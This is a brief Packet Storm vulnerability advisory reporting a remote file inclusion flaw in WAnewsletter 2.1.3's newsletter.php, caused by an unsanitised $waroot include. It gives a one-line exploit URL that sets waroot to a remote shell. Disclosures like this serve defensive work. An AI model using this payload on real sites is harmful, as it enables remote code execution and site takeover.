WAnewsletter versions 2.1.3 and below suffer from a remote file inclusion vulnerability.
1c47306dcc3cc5b00256654cfd8447e8======================= S==A==U==D==I ========================
WAnewsletter-2.1.3 (newsletter.php) RFI Vul
==============================================================
Found By : Mogatil , jjl@hotmail.com
==============================================================
Script Site : http://script.emanual.ru/get?i=1053
==============================================================
File : /newsletter.php
require_once($waroot . 'start.php');
==============================================================
Thanx: cold zero . gawey Al Azary . crazy man . scorbion_22 .
the_muslim_sniper
==============================================================
Exploit :[Path]/newsletter/newsletter.php?waroot=shell
==============================================================
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!